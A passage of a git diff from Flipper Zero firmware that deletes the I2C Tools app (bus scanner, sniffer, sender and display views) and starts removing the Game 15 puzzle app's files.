i2cSniffer* i2c_sniffer = _i2c_sniffer; - if(i2c_sniffer->state == I2C_BUS_FREE) { - return; - } - uint8_t frame = i2c_sniffer->frame_index; - uint8_t bit = i2c_sniffer->frames[frame].bit_index; - uint8_t data_idx = i2c_sniffer->frames[frame].data_index; - if(bit < 8) { - i2c_sniffer->frames[frame].data[data_idx] <<= 1; - i2c_sniffer->frames[frame].data[data_idx] |= (int)furi_hal_gpio_read(pinSDA); - i2c_sniffer->frames[frame].bit_index++; - } else { - i2c_sniffer->frames[frame].ack[data_idx] = !furi_hal_gpio_read(pinSDA); - i2c_sniffer->frames[frame].data_index++; - i2c_sniffer->frames[frame].bit_index = 0; - } -} - -i2cSniffer* i2c_sniffer_alloc() { - i2cSniffer* i2c_sniffer = malloc(sizeof(i2cSniffer)); - i2c_sniffer->started = false; - i2c_sniffer->row_index = 0; - i2c_sniffer->menu_index = 0; - clear_sniffer_buffers(i2c_sniffer); - return i2c_sniffer; -} - -void i2c_sniffer_free(i2cSniffer* i2c_sniffer) { - furi_assert(i2c_sniffer); - if(i2c_sniffer->started) { - stop_interrupts(); - } - free(i2c_sniffer); -} diff --git a/applications/external/flipper_i2ctools/i2csniffer.h b/applications/external/flipper_i2ctools/i2csniffer.h deleted file mode 100644 index eef26bea3..000000000 --- a/applications/external/flipper_i2ctools/i2csniffer.h +++ /dev/null @@ -1,46 +0,0 @@ -#pragma once - -#include -#include - -// I2C Pins -#define pinSCL &gpio_ext_pc0 -#define pinSDA &gpio_ext_pc1 - -// Bus States -typedef enum { I2C_BUS_FREE, I2C_BUS_STARTED } i2cBusStates; - -// Max read size of i2c frame by message -// Arbitraly defined -// They're not real limit to maximum frames send -#define MAX_MESSAGE_SIZE 128 - -// Nb of records -#define MAX_RECORDS 128 - -/// @brief Struct used to store our reads -typedef struct { - uint8_t data[MAX_MESSAGE_SIZE]; - bool ack[MAX_MESSAGE_SIZE]; - uint8_t bit_index; - uint8_t data_index; -} i2cFrame; - -typedef struct { - bool started; - bool first; - i2cBusStates state; - i2cFrame frames[MAX_RECORDS]; - uint8_t frame_index; - uint8_t menu_index; - uint8_t row_index; -} i2cSniffer; - -void clear_sniffer_buffers(i2cSniffer* i2c_sniffer); -void start_interrupts(i2cSniffer* i2c_sniffer); -void stop_interrupts(); -void SDAcallback(void* _i2c_sniffer); -void SCLcallback(void* _i2c_sniffer); - -i2cSniffer* i2c_sniffer_alloc(); -void i2c_sniffer_free(i2cSniffer* i2c_sniffer); \ No newline at end of file diff --git a/applications/external/flipper_i2ctools/i2ctools.c b/applications/external/flipper_i2ctools/i2ctools.c deleted file mode 100644 index b9fbebdbc..000000000 --- a/applications/external/flipper_i2ctools/i2ctools.c +++ /dev/null @@ -1,231 +0,0 @@ -#include "i2ctools_i.h" - -void i2ctools_draw_callback(Canvas* canvas, void* ctx) { - furi_assert(ctx); - i2cTools* i2ctools = ctx; - furi_mutex_acquire(i2ctools->mutex, FuriWaitForever); - - switch(i2ctools->main_view->current_view) { - case MAIN_VIEW: - draw_main_view(canvas, i2ctools->main_view); - break; - - case SCAN_VIEW: - draw_scanner_view(canvas, i2ctools->scanner); - break; - - case SNIFF_VIEW: - draw_sniffer_view(canvas, i2ctools->sniffer); - break; - - case SEND_VIEW: - draw_sender_view(canvas, i2ctools->sender); - break; - - case INFOS_VIEW: - draw_infos_view(canvas); - break; - - default: - break; - } - furi_mutex_release(i2ctools->mutex); -} - -void i2ctools_input_callback(InputEvent* input_event, void* ctx) { - furi_assert(ctx); - FuriMessageQueue* event_queue = ctx; - furi_message_queue_put(event_queue, input_event, FuriWaitForever); -} - -int32_t i2ctools_app(void* p) { - UNUSED(p); - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - - // Alloc i2ctools - i2cTools* i2ctools = malloc(sizeof(i2cTools)); - i2ctools->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!i2ctools->mutex) { - FURI_LOG_E(APP_NAME, "cannot create mutex\r\n"); - free(i2ctools); - return -1; - } - - // Alloc viewport - i2ctools->view_port = view_port_alloc(); - view_port_draw_callback_set(i2ctools->view_port, i2ctools_draw_callback, i2ctools); - view_port_input_callback_set(i2ctools->view_port, i2ctools_input_callback, event_queue); - - // Register view port in GUI - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, i2ctools->view_port, GuiLayerFullscreen); - - InputEvent event; - - i2ctools->main_view = i2c_main_view_alloc(); - - i2ctools->sniffer = i2c_sniffer_alloc(); - i2ctools->sniffer->menu_index = 0; - - i2ctools->scanner = i2c_scanner_alloc(); - - i2ctools->sender = i2c_sender_alloc(); - // Share scanner with sender - i2ctools->sender->scanner = i2ctools->scanner; - - while(1) { - if(furi_message_queue_get(event_queue, &event, 100) == FuriStatusOk) { - // Back - if(event.key == InputKeyBack && event.type == InputTypeRelease) { - if(i2ctools->main_view->current_view == MAIN_VIEW) { - break; - } else { - if(i2ctools->main_view->current_view == SNIFF_VIEW) { - stop_interrupts(); - i2ctools->sniffer->started = false; - i2ctools->sniffer->state = I2C_BUS_FREE; - } - i2ctools->main_view->current_view = MAIN_VIEW; - } - } - // Up - else if(event.key == InputKeyUp && event.type == InputTypeRelease) { - if(i2ctools->main_view->current_view == MAIN_VIEW) { - if((i2ctools->main_view->menu_index > SCAN_VIEW)) { - i2ctools->main_view->menu_index--; - } - } else if(i2ctools->main_view->current_view == SCAN_VIEW) { - if(i2ctools->scanner->menu_index > 0) { - i2ctools->scanner->menu_index--; - } - } else if(i2ctools->main_view->current_view == SNIFF_VIEW) { - if(i2ctools->sniffer->row_index > 0) { - i2ctools->sniffer->row_index--; - } - } else if(i2ctools->main_view->current_view == SEND_VIEW) { - if(i2ctools->sender->value < 0xFF) { - i2ctools->sender->value++; - i2ctools->sender->sended = false; - } - } - } - // Long Up - else if( - event.key == InputKeyUp && - (event.type == InputTypeLong || event.type == InputTypeRepeat)) { - if(i2ctools->main_view->current_view == SCAN_VIEW) { - if(i2ctools->scanner->menu_index > 5) { - i2ctools->scanner->menu_index -= 5; - } - } else if(i2ctools->main_view->current_view == SEND_VIEW) { - if(i2ctools->sender->value < 0xF9) { - i2ctools->sender->value += 5; - i2ctools->sender->sended = false; - } - } else if(i2ctools->main_view->current_view == SNIFF_VIEW) { - if(i2ctools->sniffer->row_index > 5) { - i2ctools->sniffer->row_index -= 5; - } else { - i2ctools->sniffer->row_index = 0; - } - } - } - // Down - else if(event.key == InputKeyDown && event.type == InputTypeRelease) { - if(i2ctools->main_view->current_view == MAIN_VIEW) { - if(i2ctools->main_view->menu_index < MENU_SIZE - 1) { - i2ctools->main_view->menu_index++; - } - } else if(i2ctools->main_view->current_view == SCAN_VIEW) { - if(i2ctools->scanner->menu_index < ((int)i2ctools->scanner->nb_found / 3)) { - i2ctools->scanner->menu_index++; - } - } else if(i2ctools->main_view->current_view == SNIFF_VIEW) { - if((i2ctools->sniffer->row_index + 3) < - (int)i2ctools->sniffer->frames[i2ctools->sniffer->menu_index].data_index) { - i2ctools->sniffer->row_index++; - } - } else if(i2ctools->main_view->current_view == SEND_VIEW) { - if(i2ctools->sender->value > 0x00) { - i2ctools->sender->value--; - i2ctools->sender->sended = false; - } - } - } - // Long Down - else if( - event.key == InputKeyDown && - (event.type == InputTypeLong || event.type == InputTypeRepeat)) { - if(i2ctools->main_view->current_view == SEND_VIEW) { - if(i2ctools->sender->value > 0x05) { - i2ctools->sender->value -= 5; - i2ctools->sender->sended = false; - } else { - i2ctools->sender->value = 0; - i2ctools->sender->sended = false; - } - } else if(i2ctools->main_view->current_view == SNIFF_VIEW) { - if((i2ctools->sniffer->row_index + 8) < - (int)i2ctools->sniffer->frames[i2ctools->sniffer->menu_index].data_index) { - i2ctools->sniffer->row_index += 5; - } - } - - } else if(event.key == InputKeyOk && event.type == InputTypeRelease) { - if(i2ctools->main_view->current_view == MAIN_VIEW) { - i2ctools->main_view->current_view = i2ctools->main_view->menu_index; - } else if(i2ctools->main_view->current_view == SCAN_VIEW) { - scan_i2c_bus(i2ctools->scanner); - } else if(i2ctools->main_view->current_view == SEND_VIEW) { - i2ctools->sender->must_send = true; - } else if(i2ctools->main_view->current_view == SNIFF_VIEW) { - if(i2ctools->sniffer->started) { - stop_interrupts(); - i2ctools->sniffer->started = false; - i2ctools->sniffer->state = I2C_BUS_FREE; - } else { - start_interrupts(i2ctools->sniffer); - i2ctools->sniffer->started = true; - i2ctools->sniffer->state = I2C_BUS_FREE; - } - } - } else if(event.key == InputKeyRight && event.type == InputTypeRelease) { - if(i2ctools->main_view->current_view == SEND_VIEW) { - if(i2ctools->sender->address_idx < (i2ctools->scanner->nb_found - 1)) { - i2ctools->sender->address_idx++; - i2ctools->sender->sended = false; - } - } else if(i2ctools->main_view->current_view == SNIFF_VIEW) { - if(i2ctools->sniffer->menu_index < i2ctools->sniffer->frame_index) { - i2ctools->sniffer->menu_index++; - i2ctools->sniffer->row_index = 0; - } - } - } else if(event.key == InputKeyLeft && event.type == InputTypeRelease) { - if(i2ctools->main_view->current_view == SEND_VIEW) { - if(i2ctools->sender->address_idx > 0) { - i2ctools->sender->address_idx--; - i2ctools->sender->sended = false; - } - } else if(i2ctools->main_view->current_view == SNIFF_VIEW) { - if(i2ctools->sniffer->menu_index > 0) { - i2ctools->sniffer->menu_index--; - i2ctools->sniffer->row_index = 0; - } - } - } - } - view_port_update(i2ctools->view_port); - } - gui_remove_view_port(gui, i2ctools->view_port); - view_port_free(i2ctools->view_port); - furi_message_queue_free(event_queue); - i2c_sniffer_free(i2ctools->sniffer); - i2c_scanner_free(i2ctools->scanner); - i2c_sender_free(i2ctools->sender); - i2c_main_view_free(i2ctools->main_view); - furi_mutex_free(i2ctools->mutex); - free(i2ctools); - furi_record_close(RECORD_GUI); - return 0; -} diff --git a/applications/external/flipper_i2ctools/i2ctools.gif b/applications/external/flipper_i2ctools/i2ctools.gif deleted file mode 100644 index 7ad9a582c..000000000 Binary files a/applications/external/flipper_i2ctools/i2ctools.gif and /dev/null differ diff --git a/applications/external/flipper_i2ctools/i2ctools.png b/applications/external/flipper_i2ctools/i2ctools.png deleted file mode 100644 index ba8485be8..000000000 Binary files a/applications/external/flipper_i2ctools/i2ctools.png and /dev/null differ diff --git a/applications/external/flipper_i2ctools/i2ctools_i.h b/applications/external/flipper_i2ctools/i2ctools_i.h deleted file mode 100644 index 2e32d3fd4..000000000 --- a/applications/external/flipper_i2ctools/i2ctools_i.h +++ /dev/null @@ -1,24 +0,0 @@ -#include -#include -#include -#include - -#include "i2csniffer.h" -#include "i2cscanner.h" -#include "i2csender.h" -#include "views/main_view.h" -#include "views/sniffer_view.h" -#include "views/scanner_view.h" -#include "views/sender_view.h" -#include "views/infos_view.h" - -// App datas -typedef struct { - FuriMutex* mutex; - ViewPort* view_port; - i2cMainView* main_view; - - i2cScanner* scanner; - i2cSniffer* sniffer; - i2cSender* sender; -} i2cTools; diff --git a/applications/external/flipper_i2ctools/images/ButtonDown_7x4.png b/applications/external/flipper_i2ctools/images/ButtonDown_7x4.png deleted file mode 100644 index 2954bb6a6..000000000 Binary files a/applications/external/flipper_i2ctools/images/ButtonDown_7x4.png and /dev/null differ diff --git a/applications/external/flipper_i2ctools/images/ButtonLeft_4x7.png b/applications/external/flipper_i2ctools/images/ButtonLeft_4x7.png deleted file mode 100644 index 0b4655d43..000000000 Binary files a/applications/external/flipper_i2ctools/images/ButtonLeft_4x7.png and /dev/null differ diff --git a/applications/external/flipper_i2ctools/images/ButtonRight_4x7.png b/applications/external/flipper_i2ctools/images/ButtonRight_4x7.png deleted file mode 100644 index 8e1c74c1c..000000000 Binary files a/applications/external/flipper_i2ctools/images/ButtonRight_4x7.png and /dev/null differ diff --git a/applications/external/flipper_i2ctools/images/ButtonUp_7x4.png b/applications/external/flipper_i2ctools/images/ButtonUp_7x4.png deleted file mode 100644 index 1be79328b..000000000 Binary files a/applications/external/flipper_i2ctools/images/ButtonUp_7x4.png and /dev/null differ diff --git a/applications/external/flipper_i2ctools/images/Ok_btn_9x9.png b/applications/external/flipper_i2ctools/images/Ok_btn_9x9.png deleted file mode 100644 index 9a1539da2..000000000 Binary files a/applications/external/flipper_i2ctools/images/Ok_btn_9x9.png and /dev/null differ diff --git a/applications/external/flipper_i2ctools/images/Voltage_16x16.png b/applications/external/flipper_i2ctools/images/Voltage_16x16.png deleted file mode 100644 index 94e796872..000000000 Binary files a/applications/external/flipper_i2ctools/images/Voltage_16x16.png and /dev/null differ diff --git a/applications/external/flipper_i2ctools/images/i2ctools_main_76x59.png b/applications/external/flipper_i2ctools/images/i2ctools_main_76x59.png deleted file mode 100644 index a0b2a8983..000000000 Binary files a/applications/external/flipper_i2ctools/images/i2ctools_main_76x59.png and /dev/null differ diff --git a/applications/external/flipper_i2ctools/views/infos_view.c b/applications/external/flipper_i2ctools/views/infos_view.c deleted file mode 100644 index 108bdeb46..000000000 --- a/applications/external/flipper_i2ctools/views/infos_view.c +++ /dev/null @@ -1,15 +0,0 @@ -#include "infos_view.h" - -void draw_infos_view(Canvas* canvas) { - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_draw_rframe(canvas, 0, 0, 128, 64, 3); - canvas_set_font(canvas, FontSecondary); - - canvas_draw_str_aligned(canvas, 3, 3, AlignLeft, AlignTop, "Wiring: "); - canvas_draw_str_aligned(canvas, 43, 3, AlignLeft, AlignTop, "C0->SCL"); - canvas_draw_str_aligned(canvas, 43, 13, AlignLeft, AlignTop, "C1->SDA"); - canvas_draw_str_aligned(canvas, 43, 23, AlignLeft, AlignTop, "GND->GND"); - canvas_draw_icon(canvas, 15, 33, &I_Voltage_16x16); - canvas_draw_str_aligned(canvas, 30, 38, AlignLeft, AlignTop, "Only use 3v3 levels"); -} \ No newline at end of file diff --git a/applications/external/flipper_i2ctools/views/infos_view.h b/applications/external/flipper_i2ctools/views/infos_view.h deleted file mode 100644 index 11b388c02..000000000 --- a/applications/external/flipper_i2ctools/views/infos_view.h +++ /dev/null @@ -1,8 +0,0 @@ -#include -#include -#include -#include - -#define INFOS_TEXT "INFOS" - -void draw_infos_view(Canvas* canvas); \ No newline at end of file diff --git a/applications/external/flipper_i2ctools/views/main_view.c b/applications/external/flipper_i2ctools/views/main_view.c deleted file mode 100644 index 909a3904b..000000000 --- a/applications/external/flipper_i2ctools/views/main_view.c +++ /dev/null @@ -1,82 +0,0 @@ -#include "main_view.h" - -void draw_main_view(Canvas* canvas, i2cMainView* main_view) { - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_draw_rframe(canvas, 0, 0, 128, 64, 3); - canvas_draw_icon(canvas, 2, 2, &I_i2ctools_main_76x59); - canvas_set_font(canvas, FontPrimary); - - switch(main_view->menu_index) { - case SCAN_VIEW: - canvas_set_color(canvas, ColorBlack); - canvas_draw_str_aligned( - canvas, SNIFF_MENU_X, SNIFF_MENU_Y, AlignLeft, AlignTop, SNIFF_MENU_TEXT); - canvas_draw_str_aligned( - canvas, SEND_MENU_X, SEND_MENU_Y, AlignLeft, AlignTop, SEND_MENU_TEXT); - canvas_draw_str_aligned( - canvas, INFOS_MENU_X, INFOS_MENU_Y, AlignLeft, AlignTop, INFOS_MENU_TEXT); - canvas_draw_rbox(canvas, 80, SCAN_MENU_Y - 2, 43, 13, 3); - canvas_set_color(canvas, ColorWhite); - canvas_draw_str_aligned( - canvas, SCAN_MENU_X, SCAN_MENU_Y, AlignLeft, AlignTop, SCAN_MENU_TEXT); - break; - - case SNIFF_VIEW: - canvas_set_color(canvas, ColorBlack); - canvas_draw_str_aligned( - canvas, SCAN_MENU_X, SCAN_MENU_Y, AlignLeft, AlignTop, SCAN_MENU_TEXT); - canvas_draw_str_aligned( - canvas, SEND_MENU_X, SEND_MENU_Y, AlignLeft, AlignTop, SEND_MENU_TEXT); - canvas_draw_str_aligned( - canvas, INFOS_MENU_X, INFOS_MENU_Y, AlignLeft, AlignTop, INFOS_MENU_TEXT); - canvas_draw_rbox(canvas, 80, SNIFF_MENU_Y - 2, 43, 13, 3); - canvas_set_color(canvas, ColorWhite); - canvas_draw_str_aligned( - canvas, SNIFF_MENU_X, SNIFF_MENU_Y, AlignLeft, AlignTop, SNIFF_MENU_TEXT); - break; - - case SEND_VIEW: - canvas_set_color(canvas, ColorBlack); - canvas_draw_str_aligned( - canvas, SCAN_MENU_X, SCAN_MENU_Y, AlignLeft, AlignTop, SCAN_MENU_TEXT); - canvas_draw_str_aligned( - canvas, SNIFF_MENU_X, SNIFF_MENU_Y, AlignLeft, AlignTop, SNIFF_MENU_TEXT); - canvas_draw_str_aligned( - canvas, INFOS_MENU_X, INFOS_MENU_Y, AlignLeft, AlignTop, INFOS_MENU_TEXT); - canvas_draw_rbox(canvas, 80, SEND_MENU_Y - 2, 43, 13, 3); - canvas_set_color(canvas, ColorWhite); - canvas_draw_str_aligned( - canvas, SEND_MENU_X, SEND_MENU_Y, AlignLeft, AlignTop, SEND_MENU_TEXT); - break; - - case INFOS_VIEW: - canvas_set_color(canvas, ColorBlack); - canvas_draw_str_aligned( - canvas, SCAN_MENU_X, SCAN_MENU_Y, AlignLeft, AlignTop, SCAN_MENU_TEXT); - canvas_draw_str_aligned( - canvas, SNIFF_MENU_X, SNIFF_MENU_Y, AlignLeft, AlignTop, SNIFF_MENU_TEXT); - canvas_draw_str_aligned( - canvas, SEND_MENU_X, SEND_MENU_Y, AlignLeft, AlignTop, SEND_MENU_TEXT); - canvas_draw_rbox(canvas, 80, INFOS_MENU_Y - 2, 43, 13, 3); - canvas_set_color(canvas, ColorWhite); - canvas_draw_str_aligned( - canvas, INFOS_MENU_X, INFOS_MENU_Y, AlignLeft, AlignTop, INFOS_MENU_TEXT); - break; - - default: - break; - } -} - -i2cMainView* i2c_main_view_alloc() { - i2cMainView* main_view = malloc(sizeof(i2cMainView)); - main_view->menu_index = SCAN_VIEW; - main_view->current_view = MAIN_VIEW; - return main_view; -} - -void i2c_main_view_free(i2cMainView* main_view) { - furi_assert(main_view); - free(main_view); -} \ No newline at end of file diff --git a/applications/external/flipper_i2ctools/views/main_view.h b/applications/external/flipper_i2ctools/views/main_view.h deleted file mode 100644 index 118a8f5f9..000000000 --- a/applications/external/flipper_i2ctools/views/main_view.h +++ /dev/null @@ -1,43 +0,0 @@ -#include -#include -#include -#include -#define APP_NAME "I2C Tools" - -#define SCAN_MENU_TEXT "Scan" -#define SCAN_MENU_X 90 -#define SCAN_MENU_Y 7 - -#define SNIFF_MENU_TEXT "Sniff" -#define SNIFF_MENU_X 90 -#define SNIFF_MENU_Y 21 - -#define SEND_MENU_TEXT "Send" -#define SEND_MENU_X 90 -#define SEND_MENU_Y 35 - -#define INFOS_MENU_TEXT "Infos" -#define INFOS_MENU_X 90 -#define INFOS_MENU_Y 49 - -// Menu -typedef enum { - MAIN_VIEW, - SCAN_VIEW, - SNIFF_VIEW, - SEND_VIEW, - INFOS_VIEW, - - /* Know menu Size*/ - MENU_SIZE -} i2cToolsViews; - -typedef struct { - i2cToolsViews current_view; - i2cToolsViews menu_index; -} i2cMainView; - -void draw_main_view(Canvas* canvas, i2cMainView* main_view); - -i2cMainView* i2c_main_view_alloc(); -void i2c_main_view_free(i2cMainView* main_view); \ No newline at end of file diff --git a/applications/external/flipper_i2ctools/views/scanner_view.c b/applications/external/flipper_i2ctools/views/scanner_view.c deleted file mode 100644 index f8bea6f40..000000000 --- a/applications/external/flipper_i2ctools/views/scanner_view.c +++ /dev/null @@ -1,47 +0,0 @@ -#include "scanner_view.h" - -void draw_scanner_view(Canvas* canvas, i2cScanner* i2c_scanner) { - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_draw_rframe(canvas, 0, 0, 128, 64, 3); - - char count_text[46]; - char count_text_fmt[] = "Peripherals Found: %d"; - canvas_set_font(canvas, FontSecondary); - snprintf(count_text, sizeof(count_text), count_text_fmt, (int)i2c_scanner->nb_found); - canvas_draw_str_aligned(canvas, 3, 3, AlignLeft, AlignTop, count_text); - uint8_t x_pos = 0; - uint8_t y_pos = 0; - uint8_t idx_to_print = 0; - for(uint8_t i = 0; i < (int)i2c_scanner->nb_found; i++) { - idx_to_print = i + i2c_scanner->menu_index * 3; - if(idx_to_print >= MAX_I2C_ADDR) { - break; - } - snprintf( - count_text, sizeof(count_text), "0x%02x ", (int)i2c_scanner->addresses[idx_to_print]); - const uint8_t x_start = 3; - if(i < 4) { - x_pos = x_start + (i * 26); - y_pos = 15; - } else if(i < 8) { - x_pos = x_start + ((i - 4) * 26); - y_pos = 25; - } else if(i < 12) { - x_pos = x_start + ((i - 8) * 26); - y_pos = 35; - } else { - break; - } - canvas_draw_str_aligned(canvas, x_pos, y_pos, AlignLeft, AlignTop, count_text); - } - // Right cursor - y_pos = 14 + i2c_scanner->menu_index; - canvas_draw_rbox(canvas, 125, y_pos, 3, 10, 1); - - // Button - canvas_draw_rbox(canvas, 45, 48, 45, 13, 3); - canvas_set_color(canvas, ColorWhite); - canvas_draw_icon(canvas, 50, 50, &I_Ok_btn_9x9); - canvas_draw_str_aligned(canvas, 62, 51, AlignLeft, AlignTop, "Scan"); -} \ No newline at end of file diff --git a/applications/external/flipper_i2ctools/views/scanner_view.h b/applications/external/flipper_i2ctools/views/scanner_view.h deleted file mode 100644 index 4c59f8836..000000000 --- a/applications/external/flipper_i2ctools/views/scanner_view.h +++ /dev/null @@ -1,9 +0,0 @@ -#include -#include -#include -#include -#include "../i2cscanner.h" - -#define SCAN_TEXT "SCAN" - -void draw_scanner_view(Canvas* canvas, i2cScanner* i2c_scanner); \ No newline at end of file diff --git a/applications/external/flipper_i2ctools/views/sender_view.c b/applications/external/flipper_i2ctools/views/sender_view.c deleted file mode 100644 index 216220209..000000000 --- a/applications/external/flipper_i2ctools/views/sender_view.c +++ /dev/null @@ -1,70 +0,0 @@ -#include "sender_view.h" - -void draw_sender_view(Canvas* canvas, i2cSender* i2c_sender) { - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_draw_rframe(canvas, 0, 0, 128, 64, 3); - - if(!i2c_sender->scanner->scanned) { - scan_i2c_bus(i2c_sender->scanner); - } - - canvas_set_font(canvas, FontSecondary); - if(i2c_sender->scanner->nb_found <= 0) { - canvas_draw_str_aligned(canvas, 20, 5, AlignLeft, AlignTop, "No peripherals found"); - return; - } - // Send Button - canvas_draw_rbox(canvas, 45, 48, 45, 13, 3); - canvas_set_color(canvas, ColorWhite); - canvas_draw_icon(canvas, 50, 50, &I_Ok_btn_9x9); - canvas_draw_str_aligned(canvas, 62, 51, AlignLeft, AlignTop, "Send"); - // Addr - canvas_set_color(canvas, ColorBlack); - canvas_draw_str_aligned(canvas, 3, 5, AlignLeft, AlignTop, "Addr: "); - canvas_draw_icon(canvas, 33, 5, &I_ButtonLeft_4x7); - canvas_draw_icon(canvas, 68, 5, &I_ButtonRight_4x7); - char addr_text[8]; - snprintf( - addr_text, - sizeof(addr_text), - "0x%02x", - (int)i2c_sender->scanner->addresses[i2c_sender->address_idx]); - canvas_draw_str_aligned(canvas, 43, 5, AlignLeft, AlignTop, addr_text); - // Value - canvas_draw_str_aligned(canvas, 3, 15, AlignLeft, AlignTop, "Value: "); - canvas_draw_icon(canvas, 33, 17, &I_ButtonUp_7x4); - canvas_draw_icon(canvas, 68, 17, &I_ButtonDown_7x4); - snprintf(addr_text, sizeof(addr_text), "0x%02x", (int)i2c_sender->value); - canvas_draw_str_aligned(canvas, 43, 15, AlignLeft, AlignTop, addr_text); - if(i2c_sender->must_send) { - i2c_send(i2c_sender); - } - // Result - canvas_draw_str_aligned(canvas, 3, 25, AlignLeft, AlignTop, "Result: "); - if(i2c_sender->sended) { - uint8_t row = 1; - uint8_t column = 1; - const uint8_t x_min = 3; - const uint8_t y_min = 25; - uint8_t x_pos = 0; - uint8_t y_pos = 0; - for(uint8_t i = 0; i < sizeof(i2c_sender->recv); i++) { - x_pos = x_min + (column - 1) * 35; - if(row == 1) { - x_pos += 40; - } - y_pos = y_min + (row - 1) * 10; - snprintf(addr_text, sizeof(addr_text), "0x%02x", (int)i2c_sender->recv[i]); - canvas_draw_str_aligned(canvas, x_pos, y_pos, AlignLeft, AlignTop, addr_text); - column++; - if((row > 1 && column > 3) || (row == 1 && column > 2)) { - column = 1; - row++; - } - if(row > 2) { - break; - } - } - } -} \ No newline at end of file diff --git a/applications/external/flipper_i2ctools/views/sender_view.h b/applications/external/flipper_i2ctools/views/sender_view.h deleted file mode 100644 index c5192d0b6..000000000 --- a/applications/external/flipper_i2ctools/views/sender_view.h +++ /dev/null @@ -1,9 +0,0 @@ -#include -#include -#include -#include -#include "../i2csender.h" - -#define SEND_TEXT "SEND" - -void draw_sender_view(Canvas* canvas, i2cSender* i2c_sender); \ No newline at end of file diff --git a/applications/external/flipper_i2ctools/views/sniffer_view.c b/applications/external/flipper_i2ctools/views/sniffer_view.c deleted file mode 100644 index a05873930..000000000 --- a/applications/external/flipper_i2ctools/views/sniffer_view.c +++ /dev/null @@ -1,92 +0,0 @@ -#include "sniffer_view.h" - -void draw_sniffer_view(Canvas* canvas, i2cSniffer* i2c_sniffer) { - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_draw_rframe(canvas, 0, 0, 128, 64, 3); - canvas_set_font(canvas, FontSecondary); - - // Button - canvas_draw_rbox(canvas, 40, 48, 45, 13, 3); - canvas_set_color(canvas, ColorWhite); - canvas_draw_icon(canvas, 45, 50, &I_Ok_btn_9x9); - if(!i2c_sniffer->started) { - canvas_draw_str_aligned(canvas, 57, 51, AlignLeft, AlignTop, "Start"); - } else { - canvas_draw_str_aligned(canvas, 57, 51, AlignLeft, AlignTop, "Stop"); - } - canvas_set_color(canvas, ColorBlack); - if(i2c_sniffer->first) { - canvas_draw_str_aligned(canvas, 30, 3, AlignLeft, AlignTop, "Nothing Recorded"); - return; - } - char text_buffer[10]; - // nbFrame text - canvas_draw_str_aligned(canvas, 3, 3, AlignLeft, AlignTop, "Frame: "); - snprintf( - text_buffer, - sizeof(text_buffer), - "%d/%d", - (int)i2c_sniffer->menu_index + 1, - (int)i2c_sniffer->frame_index + 1); - canvas_draw_str_aligned(canvas, 38, 3, AlignLeft, AlignTop, text_buffer); - // Address text - snprintf( - text_buffer, - sizeof(text_buffer), - "0x%02x", - (int)(i2c_sniffer->frames[i2c_sniffer->menu_index].data[0] >> 1)); - canvas_draw_str_aligned(canvas, 3, 13, AlignLeft, AlignTop, "Addr: "); - canvas_draw_str_aligned(canvas, 30, 13, AlignLeft, AlignTop, text_buffer); - // R/W - if((int)(i2c_sniffer->frames[i2c_sniffer->menu_index].data[0]) % 2 == 0) { - canvas_draw_str_aligned(canvas, 58, 13, AlignLeft, AlignTop, "Write"); - } else { - canvas_draw_str_aligned(canvas, 58, 13, AlignLeft, AlignTop, "Read"); - } - // ACK - if(i2c_sniffer->frames[i2c_sniffer->menu_index].ack[0]) { - canvas_draw_str_aligned(canvas, 90, 13, AlignLeft, AlignTop, "ACK"); - } else { - canvas_draw_str_aligned(canvas, 90, 13, AlignLeft, AlignTop, "NACK"); - } - // Frames content - const uint8_t x_min = 3; - const uint8_t y_min = 23; - uint8_t x_pos = 0; - uint8_t y_pos = 0; - uint8_t row = 1; - uint8_t column = 1; - uint8_t frame_size = i2c_sniffer->frames[i2c_sniffer->menu_index].data_index; - uint8_t offset = i2c_sniffer->row_index; - if(i2c_sniffer->row_index > 0) { - offset += 1; - } - canvas_draw_str_aligned(canvas, x_min, y_min, AlignLeft, AlignTop, "Data:"); - for(uint8_t i = 1 + offset; i < frame_size; i++) { - snprintf( - text_buffer, - sizeof(text_buffer), - "0x%02x", - (int)i2c_sniffer->frames[i2c_sniffer->menu_index].data[i]); - x_pos = x_min + (column - 1) * 35; - if(row == 1) { - x_pos += 30; - } - y_pos = y_min + (row - 1) * 10; - canvas_draw_str_aligned(canvas, x_pos, y_pos, AlignLeft, AlignTop, text_buffer); - if(i2c_sniffer->frames[i2c_sniffer->menu_index].ack[i]) { - canvas_draw_str_aligned(canvas, x_pos + 24, y_pos, AlignLeft, AlignTop, "A"); - } else { - canvas_draw_str_aligned(canvas, x_pos + 24, y_pos, AlignLeft, AlignTop, "N"); - } - column++; - if((row > 1 && column > 3) || (row == 1 && column > 2)) { - column = 1; - row++; - } - if(row > 2) { - break; - } - } -} \ No newline at end of file diff --git a/applications/external/flipper_i2ctools/views/sniffer_view.h b/applications/external/flipper_i2ctools/views/sniffer_view.h deleted file mode 100644 index db4dbd1ff..000000000 --- a/applications/external/flipper_i2ctools/views/sniffer_view.h +++ /dev/null @@ -1,9 +0,0 @@ -#include -#include -#include -#include -#include "../i2csniffer.h" - -#define SNIFF_TEXT "SNIFF" - -void draw_sniffer_view(Canvas* canvas, i2cSniffer* i2c_sniffer); \ No newline at end of file diff --git a/applications/external/game15/README.md b/applications/external/game15/README.md deleted file mode 100644 index b1710c919..000000000 --- a/applications/external/game15/README.md +++ /dev/null @@ -1,13 +0,0 @@ - -# Game "15" for Flipper Zero - -[Original link](https://github.com/x27/flipperzero-game15) - -Logic game [Wikipedia](https://en.wikipedia.org/wiki/15_puzzle) - -![Game screen](images/Game15.png) - -![Restore game](images/Game15Restore.png) - -![Popoup](images/Game15Popup.png) - diff --git a/applications/external/game15/application.fam b/applications/external/game15/application.fam deleted file mode 100644 index d6b1e10a0..000000000 --- a/applications/external/game15/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="game15", - name="Game 15", - apptype=FlipperAppType.EXTERNAL, - entry_point="game15_app", - requires=["gui"], - stack_size=1 * 1024, - fap_icon="game15_10px.png", - order=30, - fap_category="Games", - fap_author="@x27", - fap_version="1.0", - fap_description="Logic Game", -) diff --git a/applications/external/game15/game15.c 